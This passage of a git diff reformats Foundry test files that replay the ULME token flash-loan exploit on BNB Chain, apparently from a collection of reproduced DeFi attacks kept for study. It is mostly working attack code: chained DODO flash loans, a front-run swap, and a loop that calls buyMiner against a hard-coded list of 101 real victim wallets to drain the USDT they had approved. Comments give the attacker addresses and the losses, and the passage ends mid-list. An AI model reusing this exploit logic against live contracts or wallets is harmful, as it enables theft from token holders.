0x13F33854cE08e07D20F5C0B16884267dde21a501; + victims[76] = 0x59ebcde7Ec542b5198095917987755727725fD1d; + victims[77] = 0xe5A5B86119BD9fd4DF5478AbE1d3D9F46BF3Ba5F; + victims[78] = 0xC2724ed2B629290787Eb4A91f00aAFE58F262025; + victims[79] = 0xDFa225eB03F9cc2514361A044EDDA777eA51b9ad; + victims[80] = 0x85d981E3CDdb402F9Ae96948900971102Ee5d6b5; + victims[81] = 0xb0Ac3A88bFc919cA189f7d4AbA8e2F191b37A65B; + victims[82] = 0x1A906A9A385132D6B1a62Bb8547fD20c38dd79Bb; + victims[83] = 0x9d36C7c400e033aeAc391b24F47339d7CB7bc033; + victims[84] = 0x5B19C1F57b227C67Bef1e77b1B6796eF22aEe21B; + victims[85] = 0xbfd0785a924c3547544C95913dAC0b119865DF9e; + victims[86] = 0xF003E6430fbC1194ffA3419629A389B7C113F083; + victims[87] = 0xfa30Cd705eE0908e2Dac4C19575F824DED99818E; + victims[88] = 0xe27027B827FE2FBcFCb56269d4463881AA6B8955; + victims[89] = 0xEddD7179E461F42149104DCb87F3b5b657a05399; + victims[90] = 0x980FcDB646c674FF9B6621902aCB8a4012974093; + victims[91] = 0x2eBc77934935980357A894577c2CC7107574f971; + victims[92] = 0x798435DE8fA75993bFC9aD84465d7F812507b604; + victims[93] = 0x1Be117F424e9e6f845F7b07C072c1d67F114f885; + victims[94] = 0x434e921bDFe74605BD2AAbC2f6389dDBA2d37ACA; + victims[95] = 0xaFacAc64426D1cE0512363338066cc8cABB3AEa2; + victims[96] = 0x2693e0A37Ea6e669aB43dF6ee68b453F6D6F3EBD; + victims[97] = 0x77Aee2AAc9881F4A4C347eb94dEd088aD49C574D; + victims[98] = 0x951f4785A2A61fe8934393e0ff6513D6946D8d97; + victims[99] = 0x2051cE514801167545E74b5DD2a8cF5034c6b17b; + victims[100] = 0xC2EE820756d4074d887d762Fd8F70c4Fc47Ab47f; dodo1Balance = USDT.balanceOf(dodo1); emit log_named_decimal_uint("[before 1st flashloan] borrowing from dodo1", dodo1Balance, USDT.decimals()); @@ -163,48 +162,56 @@ contract Attacker is DSTest { emit log_named_decimal_uint("[End] Attacker ULME Balance", ULME.balanceOf(address(this)), ULME.decimals()); } - function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external{ - if(msg.sender == dodo1){ + function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { + if (msg.sender == dodo1) { dodo2Balance = USDT.balanceOf(dodo2); emit log_named_decimal_uint("[Callback 1] borrowing from dodo2", dodo2Balance, USDT.decimals()); DVM(dodo2).flashLoan(0, dodo2Balance, address(this), data); - emit log_named_decimal_uint("[Callback 1] Attacker USDT Balance after 1st repay", USDT.balanceOf(address(this)), USDT.decimals()); + emit log_named_decimal_uint( + "[Callback 1] Attacker USDT Balance after 1st repay", USDT.balanceOf(address(this)), USDT.decimals() + ); USDT.transfer(dodo1, dodo1Balance); - emit log_named_decimal_uint("[Callback 1] Attacker USDT Balance after 2nd repay", USDT.balanceOf(address(this)), USDT.decimals()); + emit log_named_decimal_uint( + "[Callback 1] Attacker USDT Balance after 2nd repay", USDT.balanceOf(address(this)), USDT.decimals() + ); } - if( msg.sender == dodo2){ - emit log_named_decimal_uint("[Callback 2] Attacker USDT Balance at start", USDT.balanceOf(address(this)), USDT.decimals()); - emit log_named_decimal_uint("[Callback 2] Attacker ULME Balance at start", ULME.balanceOf(address(this)), ULME.decimals()); + if (msg.sender == dodo2) { + emit log_named_decimal_uint( + "[Callback 2] Attacker USDT Balance at start", USDT.balanceOf(address(this)), USDT.decimals() + ); + emit log_named_decimal_uint( + "[Callback 2] Attacker ULME Balance at start", ULME.balanceOf(address(this)), ULME.decimals() + ); USDTToULME(); - emit log_named_decimal_uint("[Callback 2] Attacker USDT Balance after frontrun swap", USDT.balanceOf(address(this)), USDT.decimals()); - emit log_named_decimal_uint("[Callback 2] Attacker ULME Balance after frontrun swap", ULME.balanceOf(address(this)), ULME.decimals()); + emit log_named_decimal_uint( + "[Callback 2] Attacker USDT Balance after frontrun swap", USDT.balanceOf(address(this)), USDT.decimals() + ); + emit log_named_decimal_uint( + "[Callback 2] Attacker ULME Balance after frontrun swap", ULME.balanceOf(address(this)), ULME.decimals() + ); address[] memory victims = abi.decode(data, (address[])); - uint numOfVictims = victims.length; - uint amount = 0; - for (uint i=0; i allowance) + uint256 numOfVictims = victims.length; + uint256 amount = 0; + for (uint256 i = 0; i < numOfVictims; ++i) { + uint256 balance = USDT.balanceOf(address(victims[i])); + uint256 allowance = USDT.allowance(address(victims[i]), address(ULME)); + uint256 take = balance; + if (balance > allowance) { take = allowance; + } - if (take/1 ether > 1) - { + if (take / 1 ether > 1) { emit log_named_address("mining from", victims[i]); emit log_named_decimal_uint("available for swap", take, USDT.decimals()); - try ULME.buyMiner(victims[i],100*take/110-1) - { + try ULME.buyMiner(victims[i], 100 * take / 110 - 1) { amount += take; - } - catch - { + } catch { emit log_named_address("bad victim", victims[i]); } - } - else{ + } else { emit log_named_address("poor victim", victims[i]); } } @@ -212,41 +219,39 @@ contract Attacker is DSTest { ULMEToUSDT(); - emit log_named_decimal_uint("[Callback 2] Attacker USDT Balance after backrun", USDT.balanceOf(address(this)), USDT.decimals()); - emit log_named_decimal_uint("[Callback 2] Attacker ULME Balance after backrun", ULME.balanceOf(address(this)), ULME.decimals()); + emit log_named_decimal_uint( + "[Callback 2] Attacker USDT Balance after backrun", USDT.balanceOf(address(this)), USDT.decimals() + ); + emit log_named_decimal_uint( + "[Callback 2] Attacker ULME Balance after backrun", ULME.balanceOf(address(this)), ULME.decimals() + ); USDT.transfer(dodo2, dodo2Balance); - emit log_named_decimal_uint("[Callback 2] Attacker USDT Balance after 1st repay", USDT.balanceOf(address(this)), USDT.decimals()); + emit log_named_decimal_uint( + "[Callback 2] Attacker USDT Balance after 1st repay", USDT.balanceOf(address(this)), USDT.decimals() + ); } } function USDTToULME() internal { - address [] memory path = new address[](2); + address[] memory path = new address[](2); path[0] = address(USDT); path[1] = address(ULME); pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( - USDT.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp + USDT.balanceOf(address(this)), 0, path, address(this), block.timestamp ); } function ULMEToUSDT() internal { - address [] memory path = new address[](2); + address[] memory path = new address[](2); path[0] = address(ULME); path[1] = address(USDT); pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( - ULME.balanceOf(address(this))-1, - 0, - path, - address(this), - block.timestamp + ULME.balanceOf(address(this)) - 1, 0, path, address(this), block.timestamp ); } } /* -------------------- Interface -------------------- */ -interface IULME is IERC20{ - function buyMiner(address user,uint256 usdt) external returns (bool); -} \ No newline at end of file +interface IULME is IERC20 { + function buyMiner(address user, uint256 usdt) external returns (bool); +} diff --git a/src/test/ULME_exp2.sol b/src/test/ULME_exp2.sol index 0da8e722..57935cf2 100644 --- a/src/test/ULME_exp2.sol +++ b/src/test/ULME_exp2.sol @@ -1,274 +1,273 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.10; - -import "forge-std/Test.sol"; -import "./interface.sol"; - -// @KeyInfo - Total Lost : ~250k US$ which resulted in ~50k profit -// Attacker : 0x056c20ab7e25e4dd7e49568f964d98e415da63d3 -// Attack Contract : 0x8523c7661850d0da4d86587ce9674da23369ff26 -// Vulnerable Contract : 0xAE975a25646E6eB859615d0A147B909c13D31FEd (ULME Token) -// Attack Tx : https://phalcon.blocksec.com/tx/bsc/0xdb9a13bc970b97824e082782e838bdff0b76b30d268f1d66aac507f1d43ff4ed - -// @Analysis -// Blocksec : https://twitter.com/BlockSecTeam/status/1584839309781135361 -// Beosin: https://twitter.com/BeosinAlert/status/1584888021299916801 -// Neptune Mutual: https://medium.com/neptune-mutual/decoding-ulme-token-flash-loan-attack-56470d261787 - -interface IULME is IERC20 { - function buyMiner(address user,uint256 usdt) external returns (bool); -} - -interface IDVM { - function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external; -} - -interface IDPP { - function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external; -} - -interface IDPPAdvanced { - function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external; -} - -contract ULMEAttacker is Test { - CheatCodes constant cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); - - IERC20 constant usdt = IERC20(0x55d398326f99059fF775485246999027B3197955); - address constant dodo1 = 0x910d4354d34E0F1EF31d22a687BE191A1aE0cA5F; - address constant dodo2 = 0xDa26Dd3c1B917Fbf733226e9e71189ABb4919E3f; - address constant dodo3 = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681; - address constant dodo4 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476; - address constant dodo5 = 0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE; - address constant dodo6 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A; - address constant dodo7 = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618; - IPancakeRouter constant router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); - IULME constant ulme = IULME(0xAE975a25646E6eB859615d0A147B909c13D31FEd); - - function setUp() public { - cheats.createSelectFork("bsc"); - cheats.label(address(usdt), "USDT"); - cheats.label(address(dodo1), "dodo1"); - cheats.label(address(dodo2), "dodo2"); - cheats.label(address(dodo3), "dodo3"); - cheats.label(address(dodo4), "dodo4"); - cheats.label(address(dodo5), "dodo5"); - cheats.label(address(dodo6), "dodo6"); - cheats.label(address(dodo7), "dodo7"); - cheats.label(address(router), "router"); - cheats.label(address(ulme), "ulme"); - } - - function testExploit() external { - uint attackBlockNumber = 22476695; - cheats.rollFork(attackBlockNumber); - - uint startBalance = usdt.balanceOf(address(this)); - emit log_named_decimal_uint("Initial attacker USDT", startBalance, usdt.decimals()); - uint dodo1USDT = usdt.balanceOf(dodo1); - // start flashloan - IDVM(dodo1).flashLoan(0 ,dodo1USDT, address(this), abi.encode("dodo1")); - - // attack end - uint endBalance = usdt.balanceOf(address(this)); - emit log_named_decimal_uint("Total profit USDT", endBalance - startBalance, usdt.decimals()); - } - - function dodoCall(address /*sender*/, uint256 /*baseAmount*/, uint256 quoteAmount, bytes calldata /*data*/) internal { - if (msg.sender == dodo1) { - uint dodo2USDT = usdt.balanceOf(dodo2); - IDPPAdvanced(dodo2).flashLoan(0, dodo2USDT, address(this), abi.encode("dodo2")); - usdt.transfer(dodo1, quoteAmount); - } else if (msg.sender == dodo2) { - uint dodo3USDT = usdt.balanceOf(dodo3); - IDPPOracle(dodo3).flashLoan(0, dodo3USDT, address(this), abi.encode("dodo3")); - usdt.transfer(dodo2, quoteAmount); - } else if (msg.sender == dodo3) { - uint dodo4USDT = usdt.balanceOf(dodo4); - IDPP(dodo4).flashLoan(0, dodo4USDT, address(this), abi.encode("dodo4")); - usdt.transfer(dodo3, quoteAmount); - } else if (msg.sender == dodo4) { - uint dodo5USDT = usdt.balanceOf(dodo5); - IDPPAdvanced(dodo5).flashLoan(0, dodo5USDT, address(this), abi.encode("dodo5")); - usdt.transfer(dodo4, quoteAmount); - } else if (msg.sender == dodo5) { - uint dodo6USDT = usdt.balanceOf(dodo6); - IDPPOracle(dodo6).flashLoan(0, dodo6USDT, address(this), abi.encode("dodo6")); - usdt.transfer(dodo5, quoteAmount); - } else if (msg.sender == dodo6) { - uint dodo7USDT = usdt.balanceOf(dodo7); - IDPPOracle(dodo7).flashLoan(0, dodo7USDT, address(this), abi.encode("dodo7")); - usdt.transfer(dodo6, quoteAmount); - } else if (msg.sender == dodo7) { - // flashloan end, start attack - emit log_named_decimal_uint("Total borrowed USDT", usdt.balanceOf(address(this)), usdt.decimals()); - - // approve before swap - usdt.approve(address(router), type(uint).max); - ulme.approve(address(router), type(uint).max); - USDT2ULME(); - emit log_named_decimal_uint("Total exchanged ULME", ulme.balanceOf(address(this)), ulme.decimals()); - - address[] memory victims = new address[](101); - victims[0]= 0x4A005e5E40Ce2B827C873cA37af77e6873e37203; - victims[1]= 0x5eCe8A3382FD5317EBa6670cAe2F70ccA8845859; - victims[2]= 0x065D5Bfb0bdeAdA1637974F76AcF54428D61c45d; - victims[3]= 0x0C678244aaEd33b6c963C2D6B14950d35EAB899F; - victims[4]= 0x1F0D9584bC8729Ec139ED5Befe0c8677994FcB35; - victims[5]= 0x6b8cdC12e9E2F5b3620FfB12c04C5e7b0990aaf2; - victims[6]= 0xA9882080e01F8FD11fa85F05f7c7733D1C9837DF; - victims[7]= 0x1dFBBECc9304f73caD14C3785f25C1d1924ACB0B; - victims[8]= 0x0b038F3e5454aa745Ff029706656Fed638d5F73a; - victims[9]= 0x0Bd084decfb04237E489cAD4c8A559FC5ce44f90; - victims[10]= 0x5EB2e4907f796C9879181041fF633F33f8858d93; - victims[11]= 0x0DE272Ef3273d49Eb608296A783dBd36488d3989; - victims[12]= 0xAe800360ac329ceA761AFDa2d3D55Bd12932Ab62; - victims[13]= 0xf7726cA96bF1Cee9c6dC568ad3A801E637d10076; - victims[14]= 0x847aA967534C31b47d46A2eEf5832313E36b25E2; - victims[15]= 0x6c91DA0Dc1e8ab02Ab1aB8871c5aE312ef04273b; - victims[16]= 0xb14018024600eE3c747Be98845c8536994D40A5D; - victims[17]= 0x8EcdD8859aA286c6bae1f570eb0105457fD24cd2; - victims[18]= 0x6ff1c499C13548ee5C9B1EA6d366A5E11EcA60ca; - victims[19]= 0xC02eb88068A40aEe6E4649bDc940e0f792e16C22; - victims[20]= 0xa2D5b4de4cb10043D190aae23D1eFC02E31F1Cb6; - victims[21]= 0x5E05B8aC4494476Dd539e0F4E1302806ec52ED6F; - victims[22]= 0xDeb6FDCa49e54c8b0704C5B3f941ED6319139816; - victims[23]= 0x0E6533B8d6937cC8b4c9be31c00acBfaCB6760a5; - victims[24]= 0xCE0Fd72a7cF07EB9B20562bbb142Cb711A42867f; - victims[25]= 0x4868725bf6D395148def99E6C43074C774e7AC1D; - victims[26]= 0x2F1f2BAF34703d16BcfD62cF64A7A5a44Ad6c9d4; - victims[27]= 0x3d49Bdf065f009621A02c5Fd88f72ed0A3910521; - victims[28]= 0x6E31C08f1938BE5DF98F8968747bB34802D76E50; - victims[29]= 0x4F741D8DCDEdd74DadeA6cd3A7e41ECb28076209; - victims[30]= 0x5480c14b9841C89527F0D1A55dDC0D273Aae3609; - victims[31]= 0xb3725dA113eFFd7F39BE62A5E349f26e82a949fF; - victims[32]= 0x9d83Dee089a5fBfB5F2F1268EDB80aeA8Ba5aF16; - victims[33]= 0x0c02F3d6962245E934A3fe415EAbA6bf570c1883; - victims[34]= 0x0182cfEFB268DD510ee77F32527578BEAC6238e2; - victims[35]= 0x78598Ac3943454682477852E846532F73d5cFE5F; - victims[36]= 0xd067c7585425e1e5AA98743BdA5fB65212751476; - victims[37]= 0x3507ddF8b74dAEd03fE76EE74B7d6544F3B254B7; - victims[38]= 0xEca4Fd6b05E5849aAf5F2bEE5Eb3B50f8C4f4E3c; - victims[39]= 0xAA279af072080f3e453A916b77862b4ff6eB245E; - victims[40]= 0x4e505a21325A6820E2099Bbd15f6832c6f696a3c; - victims[41]= 0xA5b63F7b40A5Cc5ee6B9dB7cef2415699627Ee89; - victims[42]= 0x3dd624cEd432DDc32fA0afDaE855b76aa1431644; - victims[43]= 0x17f217Fdeff7Ee4a81a4b2f42c695EDC20806957; - victims[44]= 0x41819F36878d15A776225928CD52DC56acCFD553; - victims[45]= 0x61ca76703C5aF052c9b0aCc2Bab0276875DDd328; - victims[46]= 0x2956bCc87450B424C7305C4c6CF771196c23A52E; - victims[47]= 0x03be05224803c89f3b8C806d887fD84A20D16e5C; - victims[48]= 0x3C97320bf030C2c120FdCe19023A571f3fbB6184; - victims[49]= 0xc52021150ca5c32253220bE328ddC05F86d3a619; - victims[50]= 0x6d7aAa35c4B2dBD6F1E979e04884AeE1B4FBB407; - victims[51]= 0x7c80162197607312EC99d7c9e34720B3572d6D16; - victims[52]= 0x15D92C909826017Ff0184eea3e38c36489517A7C; - victims[53]= 0xC07fa7a1F14A374d169Dc593261843B4A6d9C1C3; - victims[54]= 0x4b415F48FA70a9a0050F6380e843790260973808; - victims[55]= 0x9CeEeB927b85d4bD3b4e282c17EB186bCDC4Dd15; - victims[56]= 0x0eb76DAf60bdF637FC207BFb545B546D5Ee208B1; - victims[57]= 0x96D7F1660e708eDdF2b6f655ADB61686B59bC190; - victims[58]= 0xDCeB637E38dBae685222eEf6635095AaaEC65496; - victims[59]= 0x36083Aac533353317C24Bd53227DbF29Ed9F384c; - victims[60]= 0x94913f31fBaFcb0ae6e5EfA4C18E3ee301097eab; - victims[61]= 0x188c50F43f9fA0026BAaa7d8cF83c358311f0500; - victims[62]= 0x3d8dcC70777643612564D84176f769A1417987a5; - victims[63]= 0x00273CEEe956543c801429A886cD0E1a79f5d8cA; - victims[64]= 0xC43C5F785D06b582E3E710Dc0156267Fd135C602; - victims[65]= 0x0406aefd83f20700D31a49F3d6fdbF52e8F7D0Ef; - victims[66]= 0xBeD8C7433dE90D349f96C6AE82d4eb4482AA6Bf7; - victims[67]= 0xDe436F7742cE08f843f8d84e7998E0B7e4b73101; - victims[68]= 0xd38c6E26aa4888DE59C2EAaD6138B0b66ABBF21D; - victims[69]= 0xc0dFb3219F0C72E902544a080ba0086da53F9599; - victims[70]= 0xFAAD61bd6b509145c2988B03529fF21F3C9970B2; - victims[71]= 0x9f9BEEF87Cfe141868E21EacbDDB48DF6c54C2F2; - victims[72]= 0x6614e2e86b4646793714B1fa535fc5875bB446d5; - victims[73]= 0x7eFe3780b1b0cde8F300443fbb4C12a73904a948; - victims[74]= 0xAd813b95A27233E7Abd92C62bBa87f59Ca8F9339; - victims[75]= 0x13F33854cE08e07D20F5C0B16884267dde21a501; - victims[76]= 0x59ebcde7Ec542b5198095917987755727725fD1d; - victims[77]= 0xe5A5B86119BD9fd4DF5478AbE1d3D9F46BF3Ba5F; - victims[78]= 0xC2724ed2B629290787Eb4A91f00aAFE58F262025; - victims[79]= 0xDFa225eB03F9cc2514361A044EDDA777eA51b9ad; - victims[80]= 0x85d981E3CDdb402F9Ae96948900971102Ee5d6b5; - victims[81]= 0xb0Ac3A88bFc919cA189f7d4AbA8e2F191b37A65B; - victims[82]= 0x1A906A9A385132D6B1a62Bb8547fD20c38dd79Bb; - victims[83]= 0x9d36C7c400e033aeAc391b24F47339d7CB7bc033; - victims[84]= 0x5B19C1F57b227C67Bef1e77b1B6796eF22aEe21B; - victims[85]= 0xbfd0785a924c3547544C95913dAC0b119865DF9e; - victims[86]= 0xF003E6430fbC1194ffA3419629A389B7C113F083; - victims[87]= 0xfa30Cd705eE0908e2Dac4C19575F824DED99818E; - victims[88]= 0xe27027B827FE2FBcFCb56269d4463881AA6B8955; - victims[89]= 0xEddD7179E461F42149104DCb87F3b5b657a05399; - victims[90]= 0x980FcDB646c674FF9B6621902aCB8a4012974093; - victims[91]= 0x2eBc77934935980357A894577c2CC7107574f971; - victims[92]= 0x798435DE8fA75993bFC9aD84465d7F812507b604; - victims[93]= 0x1Be117F424e9e6f845F7b07C072c1d67F114f885; - victims[94]= 0x434e921bDFe74605BD2AAbC2f6389dDBA2d37ACA; - victims[95]= 0xaFacAc64426D1cE0512363338066cc8cABB3AEa2; - victims[96]= 0x2693e0A37Ea6e669aB43dF6ee68b453F6D6F3EBD; - victims[97]= 0x77Aee2AAc9881F4A4C347eb94dEd088aD49C574D; - victims[98]= 0x951f4785A2A61fe8934393e0ff6513D6946D8d97; - victims[99]= 0x2051cE514801167545E74b5DD2a8cF5034c6b17b; - victims[100]=0xC2EE820756d4074d887d762Fd8F70c4Fc47Ab47f; - - uint lost = 0; - // start exploit buyMiner function - for(uint i; i < victims.length; i++) { - address victim = victims[i]; - uint allowance = usdt.allowance(victim, address(ulme)); - uint balance = usdt.balanceOf(victim); - uint available = balance <= allowance ? balance:allowance; // available USDT - - if (available > 0) { - uint amount = available * 10/11; // according to the buyMiner function, *10/11 to drain all USDT - ulme.buyMiner(victim, amount); - lost += available; - } else { - emit log_named_address("Insufficient USDT", victim); - } - } - emit log_named_decimal_uint("Total lost USDT", lost, usdt.decimals()); - - ULME2USDT(); - - usdt.transfer(dodo7, quoteAmount); - } - } - - function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { - dodoCall(sender, baseAmount, quoteAmount, data); - } - - function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { - dodoCall(sender, baseAmount, quoteAmount, data); - } - - function USDT2ULME() internal { - address[] memory path = new address[](2); - path[0] = address(usdt); - path[1] = address(ulme); - router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - 1_000_000 ether, - 0, - path, - address(this), - block.timestamp - ); - } - - function ULME2USDT() internal { - address[] memory path = new address[](2); - path[0] = address(ulme); - path[1] = address(usdt); - router.swapExactTokensForTokensSupportingFeeOnTransferTokens( // ULME token has transfer fees - ulme.balanceOf(address(this))-100, // can not swap all, according to the transactionFee function - 0, - path, - address(this), - block.timestamp - ); - } - -} - +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.10; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +// @KeyInfo - Total Lost : ~250k US$ which resulted in ~50k profit +// Attacker : 0x056c20ab7e25e4dd7e49568f964d98e415da63d3 +// Attack Contract : 0x8523c7661850d0da4d86587ce9674da23369ff26 +// Vulnerable Contract : 0xAE975a25646E6eB859615d0A147B909c13D31FEd (ULME Token) +// Attack Tx : https://phalcon.blocksec.com/tx/bsc/0xdb9a13bc970b97824e082782e838bdff0b76b30d268f1d66aac507f1d43ff4ed + +// @Analysis +// Blocksec : https://twitter.com/BlockSecTeam/status/1584839309781135361 +// Beosin: https://twitter.com/BeosinAlert/status/1584888021299916801 +// Neptune Mutual: https://medium.com/neptune-mutual/decoding-ulme-token-flash-loan-attack-56470d261787 + +interface IULME is IERC20 { + function buyMiner(address user, uint256 usdt) external returns (bool); +} + +interface IDVM { + function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external; +} + +interface IDPP { + function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external; +} + +interface IDPPAdvanced { + function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external; +} + +contract ULMEAttacker is Test { + CheatCodes constant cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + + IERC20 constant usdt = IERC20(0x55d398326f99059fF775485246999027B3197955); + address constant dodo1 = 0x910d4354d34E0F1EF31d22a687BE191A1aE0cA5F; + address constant dodo2 = 0xDa26Dd3c1B917Fbf733226e9e71189ABb4919E3f; + address constant dodo3 = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681; + address constant dodo4 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476; + address constant dodo5 = 0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE; + address constant dodo6 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A; + address constant dodo7 = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618; + IPancakeRouter constant router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); + IULME constant ulme = IULME(0xAE975a25646E6eB859615d0A147B909c13D31FEd); + + function setUp() public { + cheats.createSelectFork("bsc"); + cheats.label(address(usdt), "USDT"); + cheats.label(address(dodo1), "dodo1"); + cheats.label(address(dodo2), "dodo2"); + cheats.label(address(dodo3), "dodo3"); + cheats.label(address(dodo4), "dodo4"); + cheats.label(address(dodo5), "dodo5"); + cheats.label(address(dodo6), "dodo6"); + cheats.label(address(dodo7), "dodo7"); + cheats.label(address(router), "router"); + cheats.label(address(ulme), "ulme"); + } + + function testExploit() external { + uint256 attackBlockNumber = 22_476_695; + cheats.rollFork(attackBlockNumber); + + uint256 startBalance = usdt.balanceOf(address(this)); + emit log_named_decimal_uint("Initial attacker USDT", startBalance, usdt.decimals()); + uint256 dodo1USDT = usdt.balanceOf(dodo1); + // start flashloan + IDVM(dodo1).flashLoan(0, dodo1USDT, address(this), abi.encode("dodo1")); + + // attack end + uint256 endBalance = usdt.balanceOf(address(this)); + emit log_named_decimal_uint("Total profit USDT", endBalance - startBalance, usdt.decimals()); + } + + function dodoCall( + address, /*sender*/ + uint256, /*baseAmount*/ + uint256 quoteAmount, + bytes calldata /*data*/ + ) internal { + if (msg.sender == dodo1) { + uint256 dodo2USDT = usdt.balanceOf(dodo2); + IDPPAdvanced(dodo2).flashLoan(0, dodo2USDT, address(this), abi.encode("dodo2")); + usdt.transfer(dodo1, quoteAmount); + } else if (msg.sender == dodo2) { + uint256 dodo3USDT = usdt.balanceOf(dodo3); + IDPPOracle(dodo3).flashLoan(0, dodo3USDT, address(this), abi.encode("dodo3")); + usdt.transfer(dodo2, quoteAmount); + } else if (msg.sender == dodo3) { + uint256 dodo4USDT = usdt.balanceOf(dodo4); + IDPP(dodo4).flashLoan(0, dodo4USDT, address(this), abi.encode("dodo4")); + usdt.transfer(dodo3, quoteAmount); + } else if (msg.sender == dodo4) { + uint256 dodo5USDT = usdt.balanceOf(dodo5); + IDPPAdvanced(dodo5).flashLoan(0, dodo5USDT, address(this), abi.encode("dodo5")); + usdt.transfer(dodo4, quoteAmount); + } else if (msg.sender == dodo5) { + uint256 dodo6USDT = usdt.balanceOf(dodo6); + IDPPOracle(dodo6).flashLoan(0, dodo6USDT, address(this), abi.encode("dodo6")); + usdt.transfer(dodo5, quoteAmount); + } else if (msg.sender == dodo6) { + uint256 dodo7USDT = usdt.balanceOf(dodo7); + IDPPOracle(dodo7).flashLoan(0, dodo7USDT, address(this), abi.encode("dodo7")); + usdt.transfer(dodo6, quoteAmount); + } else if (msg.sender == dodo7) { + // flashloan end, start attack + emit log_named_decimal_uint("Total borrowed USDT", usdt.balanceOf(address(this)), usdt.decimals()); + + // approve before swap + usdt.approve(address(router), type(uint256).max); + ulme.approve(address(router), type(uint256).max); + USDT2ULME(); + emit log_named_decimal_uint("Total exchanged ULME", ulme.balanceOf(address(this)), ulme.decimals()); + + address[] memory victims = new address[](101); + victims[0] = 0x4A005e5E40Ce2B827C873cA37af77e6873e37203; + victims[1] = 0x5eCe8A3382FD5317EBa6670cAe2F70ccA8845859; + victims[2] = 0x065D5Bfb0bdeAdA1637974F76AcF54428D61c45d; + victims[3] = 0x0C678244aaEd33b6c963C2D6B14950d35EAB899F; + victims[4] = 0x1F0D9584bC8729Ec139ED5Befe0c8677994FcB35; + victims[5] = 0x6b8cdC12e9E2F5b3620FfB12c04C5e7b0990aaf2; + victims[6] = 0xA9882080e01F8FD11fa85F05f7c7733D1C9837DF; + victims[7] = 0x1dFBBECc9304f73caD14C3785f25C1d1924ACB0B; + victims[8] = 0x0b038F3e5454aa745Ff029706656Fed638d5F73a; + victims[9] = 0x0Bd084decfb04237E489cAD4c8A559FC5ce44f90; + victims[10] = 0x5EB2e4907f796C9879181041fF633F33f8858d93; + victims[11] = 0x0DE272Ef3273d49Eb608296A783dBd36488d3989; + victims[12] = 0xAe800360ac329ceA761AFDa2d3D55Bd12932Ab62; + victims[13] = 0xf7726cA96bF1Cee9c6dC568ad3A801E637d10076; + victims[14] = 0x847aA967534C31b47d46A2eEf5832313E36b25E2; + victims[15] = 0x6c91DA0Dc1e8ab02Ab1aB8871c5aE312ef04273b; + victims[16] = 0xb14018024600eE3c747Be98845c8536994D40A5D; + victims[17] = 0x8EcdD8859aA286c6bae1f570eb0105457fD24cd2; + victims[18] = 0x6ff1c499C13548ee5C9B1EA6d366A5E11EcA60ca; + victims[19] = 0xC02eb88068A40aEe6E4649bDc940e0f792e16C22; + victims[20] = 0xa2D5b4de4cb10043D190aae23D1eFC02E31F1Cb6; + victims[21] = 0x5E05B8aC4494476Dd539e0F4E1302806ec52ED6F; + victims[22] = 0xDeb6FDCa49e54c8b0704C5B3f941ED6319139816; + victims[23] = 0x0E6533B8d6937cC8b4c9be31c00acBfaCB6760a5; + victims[24] = 0xCE0Fd72a7cF07EB9B20562bbb142Cb711A42867f; + victims[25] = 0x4868725bf6D395148def99E6C43074C774e7AC1D; + victims[26] = 0x2F1f2BAF34703d16BcfD62cF64A7A5a44Ad6c9d4; + victims[27] = 0x3d49Bdf065f009621A02c5Fd88f72ed0A3910521; + victims[28] = 0x6E31C08f1938BE5DF98F8968747bB34802D76E50; + victims[29] = 0x4F741D8DCDEdd74DadeA6cd3A7e41ECb28076209; + victims[30] = 0x5480c14b9841C89527F0D1A55dDC0D273Aae3609; + victims[31] = 0xb3725dA113eFFd7F39BE62A5E349f26e82a949fF; + victims[32] = 0x9d83Dee089a5fBfB5F2F1268EDB80aeA8Ba5aF16; + victims[33] = 0x0c02F3d6962245E934A3fe415EAbA6bf570c1883; + victims[34] = 0x0182cfEFB268DD510ee77F32527578BEAC6238e2; + victims[35] = 0x78598Ac3943454682477852E846532F73d5cFE5F; + victims[36] = 0xd067c7585425e1e5AA98743BdA5fB65212751476; + victims[37] = 0x3507ddF8b74dAEd03fE76EE74B7d6544F3B254B7; + victims[38] = 0xEca4Fd6b05E5849aAf5F2bEE5Eb3B50f8C4f4E3c; + victims[39] = 0xAA279af072080f3e453A916b77862b4ff6eB245E; + victims[40] = 0x4e505a21325A6820E2099Bbd15f6832c6f696a3c; + victims[41] = 0xA5b63F7b40A5Cc5ee6B9dB7cef2415699627Ee89; + victims[42] = 0x3dd624cEd432DDc32fA0afDaE855b76aa1431644; + victims[43] = 